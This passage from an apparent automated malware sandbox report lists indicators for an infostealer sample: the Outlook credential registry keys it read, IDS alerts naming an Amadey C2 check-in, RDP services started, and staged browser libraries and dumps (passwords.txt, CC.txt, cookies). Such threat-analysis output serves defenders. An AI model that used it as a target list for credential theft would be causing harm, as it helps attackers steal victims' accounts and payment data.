  743. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\IMAP Server"
  744.  
  745.  
  746. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\POP3 Password2"
  747.  
  748.  
  749. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\IMAP Password2"
  750.  
  751.  
  752. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook"
  753.  
  754.  
  755. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\POP3 User"
  756.  
  757.  
  758. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\IMAP Password2"
  759.  
  760.  
  761. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\NNTP Server"
  762.  
  763.  
  764. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\SMTP Server"
  765.  
  766.  
  767. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\NNTP Email Address"
  768.  
  769.  
  770. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\NNTP Password2"
  771.  
  772.  
  773. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\Email"
  774.  
  775.  
  776. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\SMTP Password2"
  777.  
  778.  
  779. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\SMTP Email Address"
  780.  
  781.  
  782. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\IMAP User Name"
  783.  
  784.  
  785. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\POP3 User Name"
  786.  
  787.  
  788. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\HTTP Server URL"
  789.  
  790.  
  791. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\POP3 Password"
  792.  
  793.  
  794. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\HTTPMail User Name"
  795.  
  796.  
  797. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\IMAP Server"
  798.  
  799.  
  800. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\POP3 Port"
  801.  
  802.  
  803. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\8503020000000000c000000000000046"
  804.  
  805.  
  806. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\SMTP User Name"
  807.  
  808.  
  809. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\3517490d76624c419a828607e2a54604"
  810.  
  811.  
  812. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\8f92b60606058348930a96946cf329e1"
  813.  
  814.  
  815. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\SMTP Password"
  816.  
  817.  
  818. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\13dbb0c8aa05101a9bb000aa002fc45a"
  819.  
  820.  
  821. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\HTTP User"
  822.  
  823.  
  824. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\Outlook\\OMI Account Manager\\Accounts"
  825.  
  826.  
  827. "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Internet Account Manager\\Accounts"
  828.  
  829.  
  830. "key": "HKEY_CURRENT_USER\\Identities\\0A258175-2D14-4D69-9955-E200F247250F\\Software\\Microsoft\\Internet Account Manager\\Accounts"
  831.  
  832.  
  833.  
  834.  
  835. "Description": "Attempts to create or modify system certificates",
  836. "Details":
  837.  
  838.  
  839. "Description": "Generates some ICMP traffic",
  840. "Details":
  841.  
  842.  
  843. "Description": "Collects information to fingerprint the system",
  844. "Details":
  845.  
  846.  
  847. "Description": "Created network traffic indicative of malicious activity",
  848. "Details":
  849.  
  850. "signature": "ET CURRENT_EVENTS Terse alphanumeric executable downloader high likelihood of being hostile"
  851.  
  852.  
  853. "signature": "ET CURRENT_EVENTS SUSPICIOUS Firesale gTLD EXE DL with no Referer June 13 2016"
  854.  
  855.  
  856. "signature": "ET TROJAN Download Request Containing Suspicious Filename - Crypted"
  857.  
  858.  
  859. "signature": "ET TROJAN Amadey CnC Check-In"
  860.  
  861.  
  862.  
  863.  
  864.  
  865. * Started Service:
  866. "TermService",
  867. "VaultSvc",
  868. "WerSvc",
  869. "UmRdpService"
  870.  
  871.  
  872. * Mutexes:
  873. "Global\\CLR_CASOFF_MUTEX",
  874. "rc/user",
  875. "DBWinMutex",
  876. "Local\\WERReportingForProcess2344",
  877. "Global\\2b202181-bb4e-11e9-9533-18c086cd4731",
  878. "TSLicensingLock"
  879.  
  880.  
  881. * Modified Files:
  882. "C:\\ProgramData\\0",
  883. "C:\\programdata\\adfa386ca5\\kntd.exe",
  884. "C:\\programdata\\adfa386ca5\\kntd.exe:Zone.Identifier",
  885. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\S4VH3RFR\\nsis1.exe",
  886. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\PA320MG8\\rac1.exe",
  887. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\Q8H2MS75\\crypted1.exe",
  888. "C:\\Users\\user\\AppData\\Local\\Temp\\metares.ps1",
  889. "C:\\Users\\user\\AppData\\Local\\Temp\\changes_765543.txt",
  890. "C:\\Users\\user\\AppData\\Local\\Temp\\nsq5309.tmp\\System.dll",
  891. "C:\\Users\\user\\AppData\\Local\\Temp\\%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell.lnk",
  892. "\\??\\PIPE\\srvsvc",
  893. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\754GWOVSRTDMMQWS84FK.temp",
  894. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms~RF1fe0a30.TMP",
  895. "C:\\Windows\\Help\\hlp11.dat",
  896. "C:\\Windows\\Help\\hlp12.dat",
  897. "C:\\Windows\\Help\\hlp13.dat",
  898. "C:\\Windows\\sysnative\\rfxvmt.dll",
  899. "C:\\Windows\\Temp\\desk.txt",
  900. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\Q8H2MS75\\sqlite31.dll",
  901. "C:\\Users\\user\\AppData\\Local\\Temp\\P1kAlMiG2K",
  902. "C:\\Users\\user\\AppData\\Local\\Temp\\b7FzP5tM1Q",
  903. "C:\\Users\\user\\AppData\\Local\\Temp\\BI6DSS92c3",
  904. "C:\\Users\\user\\AppData\\Local\\Temp\\1Apgjk9lVK",
  905. "C:\\Users\\user\\AppData\\Local\\Temp\\chrome_cookie.txt",
  906. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\8BGZLQBV\\libs1.zip",
  907. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\nssdbm3.dll",
  908. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\prldap60.dll",
  909. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\qipcap.dll",
  910. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\softokn3.dll",
  911. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\ucrtbase.dll",
  912. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\vcruntime140.dll",
  913. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\AccessibleHandler.dll",
  914. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\AccessibleMarshal.dll",
  915. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\breakpadinjector.dll",
  916. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\freebl3.dll",
  917. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\IA2Marshal.dll",
  918. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\ldap60.dll",
  919. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\ldif60.dll",
  920. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\lgpllibs.dll",
  921. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\libEGL.dll",
  922. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\MapiProxy.dll",
  923. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\MapiProxy_InUse.dll",
  924. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\mozglue.dll",
  925. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\mozMapi32.dll",
  926. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\mozMapi32_InUse.dll",
  927. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\msvcp140.dll",
  928. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\nss3.dll",
  929. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\nssckbi.dll",
  930. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-core-namedpipe-l1-1-0.dll",
  931. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-core-processenvironment-l1-1-0.dll",
  932. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-core-processthreads-l1-1-0.dll",
  933. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-core-processthreads-l1-1-1.dll",
  934. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-core-profile-l1-1-0.dll",
  935. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-core-rtlsupport-l1-1-0.dll",
  936. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-core-string-l1-1-0.dll",
  937. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-core-synch-l1-1-0.dll",
  938. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-core-synch-l1-2-0.dll",
  939. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-core-sysinfo-l1-1-0.dll",
  940. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-core-timezone-l1-1-0.dll",
  941. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-core-util-l1-1-0.dll",
  942. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-crt-conio-l1-1-0.dll",
  943. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-crt-convert-l1-1-0.dll",
  944. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-crt-environment-l1-1-0.dll",
  945. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-crt-filesystem-l1-1-0.dll",
  946. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-crt-heap-l1-1-0.dll",
  947. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-crt-locale-l1-1-0.dll",
  948. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-crt-math-l1-1-0.dll",
  949. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-crt-multibyte-l1-1-0.dll",
  950. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-crt-private-l1-1-0.dll",
  951. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-crt-process-l1-1-0.dll",
  952. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-crt-runtime-l1-1-0.dll",
  953. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-crt-stdio-l1-1-0.dll",
  954. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-crt-string-l1-1-0.dll",
  955. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-crt-time-l1-1-0.dll",
  956. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-crt-utility-l1-1-0.dll",
  957. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-core-file-l1-2-0.dll",
  958. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-core-file-l2-1-0.dll",
  959. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-core-handle-l1-1-0.dll",
  960. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-core-heap-l1-1-0.dll",
  961. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-core-interlocked-l1-1-0.dll",
  962. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-core-libraryloader-l1-1-0.dll",
  963. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-core-localization-l1-2-0.dll",
  964. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-core-memory-l1-1-0.dll",
  965. "C:\\Users\\user\\AppData\\Local\\Temp\\machineinfo.txt",
  966. "C:\\Users\\user\\AppData\\Local\\Temp\\Log.zip",
  967. "C:\\Windows\\inf\\setupapi.dev.log",
  968. "C:\\Windows\\sysnative\\LogFiles\\Scm\\5869f1c1-01d7-41f7-84b7-715672259fa8",
  969. "\\??\\WMIDataDevice",
  970. "\\??\\PIPE\\samr",
  971. "C:\\Windows\\sysnative\\wbem\\repository\\WRITABLE.TST",
  972. "C:\\Windows\\sysnative\\wbem\\repository\\MAPPING1.MAP",
  973. "C:\\Windows\\sysnative\\wbem\\repository\\MAPPING2.MAP",
  974. "C:\\Windows\\sysnative\\wbem\\repository\\MAPPING3.MAP",
  975. "C:\\Windows\\sysnative\\wbem\\repository\\OBJECTS.DATA",
  976. "C:\\Windows\\sysnative\\wbem\\repository\\INDEX.BTR",
  977. "\\??\\pipe\\PIPE_EVENTROOT\\CIMV2WMI SELF-INSTRUMENTATION EVENT PROVIDER",
  978. "\\??\\pipe\\PIPE_EVENTROOT\\CIMV2PROVIDERSUBSYSTEM",
  979. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\WER\\ReportArchive\\AppCrash_crypted.exe_bb8f63616cfb108358ab53b436f6b6c584c46125_047353b8\\Report.wer",
  980. "\\??\\Nul",
  981. "\\??\\PIPE\\lsarpc",
  982. "C:\\Windows\\ServiceProfiles\\NetworkService\\AppData\\Local\\Temp\\loportalo.bin",
  983. "C:\\Windows\\Help\\22051.ps1",
  984. "C:\\Windows\\ServiceProfiles\\NetworkService\\AppData\\Local\\Temp\\aa.txt",
  985. "\\Device\\Termdd",
  986. "C:\\Windows\\Help\\63883.ps1",
  987. "\\Device\\RdpDr",
  988. "\\??\\root#umbus#0000#65a9a6cf-64cd-480b-843e-32c86e1ba19f"
  989.  
  990.  
  991. * Deleted Files:
  992. "C:\\Users\\user\\AppData\\Local\\Temp\\nse4DE8.tmp",
  993. "C:\\Users\\user\\AppData\\Local\\Temp\\nsq5309.tmp",
  994. "C:\\Users\\user\\AppData\\Local\\Temp\\nsq5309.tmp\\System.dll",
  995. "C:\\Users\\user\\AppData\\Local\\Temp\\nsq5309.tmp\\",
  996. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms~RF1fe0a30.TMP",
  997. "C:\\Users\\user\\AppData\\Local\\Temp\\changes_765543.txt",
  998. "C:\\Users\\user\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt",
  999. "C:\\Users\\user\\AppData\\Local\\Temp\\metares.ps1",
  1000. "C:\\Users\\user\\AppData\\Local\\Temp\\nsis.exe",
  1001. "C:\\Users\\user\\AppData\\Local\\Temp\\P1kAlMiG2K",
  1002. "C:\\Users\\user\\AppData\\Local\\Temp\\b7FzP5tM1Q",
  1003. "C:\\Users\\user\\AppData\\Local\\Temp\\BI6DSS92c3",
  1004. "C:\\Users\\user\\AppData\\Local\\Temp\\1Apgjk9lVK",
  1005. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\ff-funcs.zip",
  1006. "C:\\Users\\user\\AppData\\Local\\Temp\\Log.zip",
  1007. "C:\\Users\\user\\AppData\\Local\\Temp\\passwords.txt",
  1008. "C:\\Users\\user\\AppData\\Local\\Temp\\CC.txt",
  1009. "C:\\Users\\user\\AppData\\Local\\Temp\\chrome_cookie.txt",
  1010. "C:\\Users\\user\\AppData\\Local\\Temp\\firefox_cookie.txt",
  1011. "C:\\Users\\user\\AppData\\Local\\Temp\\chrome_autofill.txt",
  1012. "C:\\Users\\user\\AppData\\Local\\Temp\\machineinfo.txt",
  1013. "C:\\Users\\user\\AppData\\Local\\Temp\\screen.png",
  1014. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\AccessibleHandler.dll",
  1015. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\AccessibleMarshal.dll",
  1016. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-core-file-l1-2-0.dll",
  1017. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-core-file-l2-1-0.dll",
  1018. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-core-handle-l1-1-0.dll",
  1019. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-core-heap-l1-1-0.dll",
  1020. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-core-interlocked-l1-1-0.dll",
  1021. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-core-libraryloader-l1-1-0.dll",
  1022. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-core-localization-l1-2-0.dll",
  1023. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-core-memory-l1-1-0.dll",
  1024. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-core-namedpipe-l1-1-0.dll",
  1025. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-core-processenvironment-l1-1-0.dll",
  1026. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-core-processthreads-l1-1-0.dll",
  1027. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-core-processthreads-l1-1-1.dll",
  1028. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-core-profile-l1-1-0.dll",
  1029. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-core-rtlsupport-l1-1-0.dll",
  1030. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-core-string-l1-1-0.dll",
  1031. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-core-synch-l1-1-0.dll",
  1032. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-core-synch-l1-2-0.dll",
  1033. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-core-sysinfo-l1-1-0.dll",
  1034. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-core-timezone-l1-1-0.dll",
  1035. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-core-util-l1-1-0.dll",
  1036. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-crt-conio-l1-1-0.dll",
  1037. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-crt-convert-l1-1-0.dll",
  1038. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-crt-environment-l1-1-0.dll",
  1039. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-crt-filesystem-l1-1-0.dll",
  1040. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-crt-heap-l1-1-0.dll",
  1041. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-crt-locale-l1-1-0.dll",
  1042. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-crt-math-l1-1-0.dll",
  1043. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-crt-multibyte-l1-1-0.dll",
  1044. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-crt-private-l1-1-0.dll",
  1045. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-crt-process-l1-1-0.dll",
  1046. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-crt-runtime-l1-1-0.dll",
  1047. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-crt-stdio-l1-1-0.dll",
  1048. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-crt-string-l1-1-0.dll",
  1049. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-crt-time-l1-1-0.dll",
  1050. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\api-ms-win-crt-utility-l1-1-0.dll",
  1051. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\breakpadinjector.dll",
  1052. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\freebl3.dll",
  1053. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\IA2Marshal.dll",
  1054. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\ldap60.dll",
  1055. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\ldif60.dll",
  1056. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\lgpllibs.dll",
  1057. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\libEGL.dll",
  1058. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\MapiProxy.dll",
  1059. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\MapiProxy_InUse.dll",
  1060. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\mozglue.dll",
  1061. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\mozMapi32.dll",
  1062. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\mozMapi32_InUse.dll",
  1063. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\msvcp140.dll",
  1064. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\nss3.dll",
  1065. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\nssckbi.dll",
  1066. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\nssdbm3.dll",
  1067. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\prldap60.dll",
  1068. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\qipcap.dll",
  1069. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\softokn3.dll",
  1070. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\ucrtbase.dll",
  1071. "C:\\Users\\user\\AppData\\Local\\Temp\\AdLibs\\vcruntime140.dll",
  1072. "C:\\Users\\user\\AppData\\Local\\Temp\\sqlite3.dll",
  1073. "C:\\Users\\user\\AppData\\Local\\Temp\\rac.exe"
  1074.  
  1075.  
  1076. * Modified Registry Keys:
  1077. "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\\Startup",
  1078. "HKEY_CURRENT_USER\\Software\\Classes\\Local Settings\\MuiCache\\2F\\52C64B7E\\LanguageList",
  1079. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Device Installer\\CurrentStatus",
  1080. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Device Installer\\CurrentStatus\\StartTime",
  1081. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Device Installer\\CurrentStatus\\Progress",
  1082. "HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Enum\\UMB\\UMB\\1&841921d&0&TSBUS\\Properties",
  1083. "HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Enum\\UMB\\UMB\\1&841921d&0&TSBUS\\Properties\\83da6326-97a6-4088-9453-a1923f573b29",
  1084. "HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Enum\\UMB\\UMB\\1&841921d&0&TSBUS\\Properties\\83da6326-97a6-4088-9453-a1923f573b29\\00000009",
  1085. "HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Enum\\UMB\\UMB\\1&841921d&0&TSBUS\\Properties\\83da6326-97a6-4088-9453-a1923f573b29\\00000009\\00000000",
  1086. "HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Enum\\UMB\\UMB\\1&841921d&0&TSBUS\\Properties\\83da6326-97a6-4088-9453-a1923f573b29\\00000009\\00000000\\Type",
  1087. "HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Enum\\UMB\\UMB\\1&841921d&0&TSBUS\\Properties\\83da6326-97a6-4088-9453-a1923f573b29\\00000009\\00000000\\Data",
  1088. "HKEY_LOCAL_MACHINE\\SYSTEM\\Setup\\SetupapiLogStatus",
  1089. "HKEY_LOCAL_MACHINE\\SYSTEM\\Setup\\SetupapiLogStatus\\setupapi.dev.log",
  1090. "HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\services\\VaultSvc\\Type",
  1091. "HKEY_USERS\\S-1-5-21-0000000000-0000000000-0000000000-1000_CLASSES\\Local Settings\\MuiCache\\2F\\52C64B7E\\LanguageList",
  1092. "HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\services\\WerSvc\\Type",
  1093. "HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\services\\TermService\\Start",
  1094. "HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\services\\TermService\\Type",
  1095. "HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\services\\UmRdpService\\Type",
  1096. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\CIMOM\\ProcessID",
  1097. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\CIMOM\\ThrottleDrege",
  1098. "HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\services\\Winmgmt\\Parameters\\ServiceDllUnloadOnStop",
  1099. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\CIMOM\\LastServiceStart",
  1100. "HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Wbem\\Transports\\Decoupled\\Server",
  1101. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\Transports\\Decoupled\\Server\\CreationTime",
